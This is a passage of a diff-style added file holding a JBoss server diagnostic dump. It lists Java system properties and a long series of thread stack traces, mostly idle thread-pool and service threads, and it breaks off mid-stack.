+os.arch: amd64 +java.awt.graphicsenv: sun.awt.X11GraphicsEnvironment +java.ext.dirs: /usr/java/jdk-7/jre/lib/ext:/usr/java/packages/lib/ext +user.dir: /usr/local/jboss +line.separator: + +java.vm.name: Java HotSpot(TM) 64-Bit Server VM +jboss.server.base.dir: /usr/local/jboss/standalone +javax.management.builder.initial: org.jboss.as.jmx.PluggableMBeanServerBuilder +javax.xml.datatype.DatatypeFactory: __redirected.__DatatypeFactory +file.encoding: UTF-8 +java.specification.version: 1.7 +jboss.host.name: fec1a0e7fad2 +javax.xml.transform.TransformerFactory: __redirected.__TransformerFactory +jboss.server.name: fec1a0e7fad2 + +=========================================== + +ThreadStacks: +"ServerService Thread Pool -- 48" #86 [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@2f156944 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:226) + at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:460) + at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:359) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:942) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1068) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1130) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:615) + at java.lang.Thread.run(Thread.java:722) + at org.jboss.threads.JBossThread.run(JBossThread.java:122) + +"ServerService Thread Pool -- 39" #77 [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@2f156944 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:226) + at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:460) + at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:359) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:942) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1068) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1130) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:615) + at java.lang.Thread.run(Thread.java:722) + at org.jboss.threads.JBossThread.run(JBossThread.java:122) + +"MSC service thread 1-22" #34 [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@26b20782 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:186) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2043) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1068) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1130) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:615) + at java.lang.Thread.run(Thread.java:722) + +"ServerService Thread Pool -- 42" #80 [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@2f156944 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:226) + at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:460) + at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:359) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:942) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1068) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1130) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:615) + at java.lang.Thread.run(Thread.java:722) + at org.jboss.threads.JBossThread.run(JBossThread.java:122) + +"ServerService Thread Pool -- 44" #82 [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@2f156944 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:226) + at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:460) + at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:359) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:942) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1068) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1130) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:615) + at java.lang.Thread.run(Thread.java:722) + at org.jboss.threads.JBossThread.run(JBossThread.java:122) + +"ServerService Thread Pool -- 33" #71 [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@2f156944 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:226) + at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:460) + at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:359) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:942) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1068) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1130) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:615) + at java.lang.Thread.run(Thread.java:722) + at org.jboss.threads.JBossThread.run(JBossThread.java:122) + +"ServerService Thread Pool -- 12" #48 [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@2f156944 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:226) + at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:460) + at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:359) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:942) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1068) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1130) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:615) + at java.lang.Thread.run(Thread.java:722) + at org.jboss.threads.JBossThread.run(JBossThread.java:122) + +"ServerService Thread Pool -- 24" #60 [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@2f156944 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:226) + at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:460) + at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:359) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:942) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1068) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1130) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:615) + at java.lang.Thread.run(Thread.java:722) + at org.jboss.threads.JBossThread.run(JBossThread.java:122) + +"http--0.0.0.0-8080-3" #108 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.net.SocketInputStream.socketRead0(Native Method) + at java.net.SocketInputStream.read(SocketInputStream.java:150) + at java.net.SocketInputStream.read(SocketInputStream.java:121) + at org.apache.coyote.http11.InternalInputBuffer.fill(InternalInputBuffer.java:731) + at org.apache.coyote.http11.InternalInputBuffer.parseRequestLine(InternalInputBuffer.java:368) + at org.apache.coyote.http11.Http11Processor.process(Http11Processor.java:838) + at org.apache.coyote.http11.Http11Protocol$Http11ConnectionHandler.process(Http11Protocol.java:671) + at org.apache.tomcat.util.net.JIoEndpoint$Worker.run(JIoEndpoint.java:930) + at java.lang.Thread.run(Thread.java:722) + +"ServerService Thread Pool -- 19" #55 [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@2f156944 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:226) + at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:460) + at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:359) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:942) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1068) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1130) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:615) + at java.lang.Thread.run(Thread.java:722) + at org.jboss.threads.JBossThread.run(JBossThread.java:122) + +"MSC service thread 1-4" #16 [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@26b20782 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:186) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2043) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1068) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1130) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:615) + at java.lang.Thread.run(Thread.java:722) + +"ServerService Thread Pool -- 49" #87 [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@2f156944 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:226) + at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:460) + at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:359) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:942) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1068) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1130) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:615) + at java.lang.Thread.run(Thread.java:722) + at org.jboss.threads.JBossThread.run(JBossThread.java:122) + +"MSC service thread 1-11" #23 [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@26b20782 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:186) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2043) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1068) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1130) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:615) + at java.lang.Thread.run(Thread.java:722) + +"MSC service thread 1-7" #19 [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@26b20782 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:186) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2043) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1068) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1130) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:615) + at java.lang.Thread.run(Thread.java:722) + +"ServerService Thread Pool -- 31" #69 [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@2f156944 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:226) + at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:460) + at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:359) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:942) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1068) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1130) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:615) + at java.lang.Thread.run(Thread.java:722) + at org.jboss.threads.JBossThread.run(JBossThread.java:122) + +"ServerService Thread Pool -- 28" #66 [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@2f156944 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:226) + at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:460) + at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:359) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:942) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1068) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1130) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:615) + at java.lang.Thread.run(Thread.java:722) + at org.jboss.threads.JBossThread.run(JBossThread.java:122) + +"Remoting "fec1a0e7fad2" write-1" #89 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method) + at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:228) + at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:81) + at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:87) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:98) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:102) + at org.xnio.nio.WorkerThread.run(WorkerThread.java:153) + +"ServerService Thread Pool -- 10" #46 [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@2f156944 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:226) + at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:460) + at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:359) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:942) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1068) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1130) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:615) + at java.lang.Thread.run(Thread.java:722) + at org.jboss.threads.JBossThread.run(JBossThread.java:122) + +"Periodic Recovery" #98 [TIMED_WAITING] on java.lang.Object@720afba6 + java.lang.Thread.State: TIMED_WAITING + at java.lang.Object.wait(Native Method) + at com.arjuna.ats.internal.arjuna.recovery.PeriodicRecovery.doBackoffWait(PeriodicRecovery.java:657) + at com.arjuna.ats.internal.arjuna.recovery.PeriodicRecovery.doWorkInternal(PeriodicRecovery.java:759) + at com.arjuna.ats.internal.arjuna.recovery.PeriodicRecovery.run(PeriodicRecovery.java:371) + +"ServerService Thread Pool -- 8" #44 [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@2f156944 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:226) + at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:460) + at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:359) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:942) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1068) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1130) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:615) + at java.lang.Thread.run(Thread.java:722) + at org.jboss.threads.JBossThread.run(JBossThread.java:122) + +"Remoting "fec1a0e7fad2:MANAGEMENT" read-1" #62 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method) + at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:228) + at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:81) + at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:87) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:98) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:102) + at org.xnio.nio.WorkerThread.run(WorkerThread.java:153) + +"MSC service thread 1-21" #33 [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@26b20782 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:186) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2043) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1068) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1130) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:615) + at java.lang.Thread.run(Thread.java:722) + +"Transaction Reaper" #99 daemon [TIMED_WAITING] on com.arjuna.ats.arjuna.coordinator.TransactionReaper@2f0f89c8 + java.lang.Thread.State: TIMED_WAITING + at java.lang.Object.wait(Native Method) + at com.arjuna.ats.internal.arjuna.coordinator.ReaperThread.run(ReaperThread.java:90) + +"Timer-0" #96 [WAITING] on java.util.TaskQueue@251ec19b + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:503) + at java.util.TimerThread.mainLoop(Timer.java:526) + at java.util.TimerThread.run(Timer.java:505) + +"ServerService Thread Pool -- 17" #53 [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@2f156944 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:226) + at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:460) + at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:359) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:942) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1068) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1130) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:615) + at java.lang.Thread.run(Thread.java:722) + at org.jboss.threads.JBossThread.run(JBossThread.java:122) + +"Remoting "fec1a0e7fad2" read-1" #88 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method) + at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:228) + at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:81) + at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:87) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:98) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:102) + at org.xnio.nio.WorkerThread.run(WorkerThread.java:153) + +"MSC service thread 1-5" #17 [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@26b20782 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:186) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2043) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1068) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1130) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:615) + at java.lang.Thread.run(Thread.java:722) + +"http--0.0.0.0-8080-5" #110 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.net.SocketInputStream.socketRead0(Native Method) + at java.net.SocketInputStream.read(SocketInputStream.java:150) + at java.net.SocketInputStream.read(SocketInputStream.java:121) + at org.apache.coyote.http11.InternalInputBuffer.fill(InternalInputBuffer.java:731) + at org.apache.coyote.http11.InternalInputBuffer.parseRequestLine(InternalInputBuffer.java:368) + at org.apache.coyote.http11.Http11Processor.process(Http11Processor.java:838) + at org.apache.coyote.http11.Http11Protocol$Http11ConnectionHandler.process(Http11Protocol.java:671) + at org.apache.tomcat.util.net.JIoEndpoint$Worker.run(JIoEndpoint.java:930) + at java.lang.Thread.run(Thread.java:722) + +"ServerService Thread Pool -- 40" #78 [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@2f156944 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:226) + at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:460) + at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:359) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:942) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1068) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1130) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:615) + at java.lang.Thread.run(Thread.java:722) + at org.jboss.threads.JBossThread.run(JBossThread.java:122) + +"ServerService Thread Pool -- 43" #81 [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@2f156944 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:226) + at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:460) + at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:359) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:942) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1068) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1130) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:615) + at java.lang.Thread.run(Thread.java:722) + at org.jboss.threads.JBossThread.run(JBossThread.java:122) + +"ServerService Thread Pool -- 22" #58 [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@2f156944 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:226) + at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:460) + at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:359) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:942) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1068) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1130) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:615) + at java.lang.Thread.run(Thread.java:722) + at org.jboss.threads.JBossThread.run(JBossThread.java:122) + +"MSC service thread 1-16" #28 [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@26b20782 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:186) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2043) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1068) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1130) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:615) + at java.lang.Thread.run(Thread.java:722) + +"ServerService Thread Pool -- 30" #68 [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@2f156944 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:226) + at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:460) + at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:359) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:942) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1068) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1130) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:615) + at java.lang.Thread.run(Thread.java:722) + at org.jboss.threads.JBossThread.run(JBossThread.java:122) + +"Reference Handler" #2 daemon [WAITING] on java.lang.ref.Reference$Lock@638ba27 + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:503) + at java.lang.ref.Reference$ReferenceHandler.run(Reference.java:133) + +"Remoting "fec1a0e7fad2:MANAGEMENT" write-1" #63 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method) + at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:228) + at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:81) + at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:87) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:98) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:102) + at org.xnio.nio.WorkerThread.run(WorkerThread.java:153) + +"ServerService Thread Pool -- 4" #40 [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@2f156944 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:226) + at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:460) + at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:359) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:942) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1068) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1130) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:615) + at java.lang.Thread.run(Thread.java:722) + at org.jboss.threads.JBossThread.run(JBossThread.java:122) + +"MSC service thread 1-10" #22 [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@26b20782 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:186) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2043) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1068) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1130) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:615) + at java.lang.Thread.run(Thread.java:722) + +"ServerService Thread Pool -- 46" #84 [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@2f156944 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:226) + at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:460) + at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:359) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:942) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1068) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1130) + at 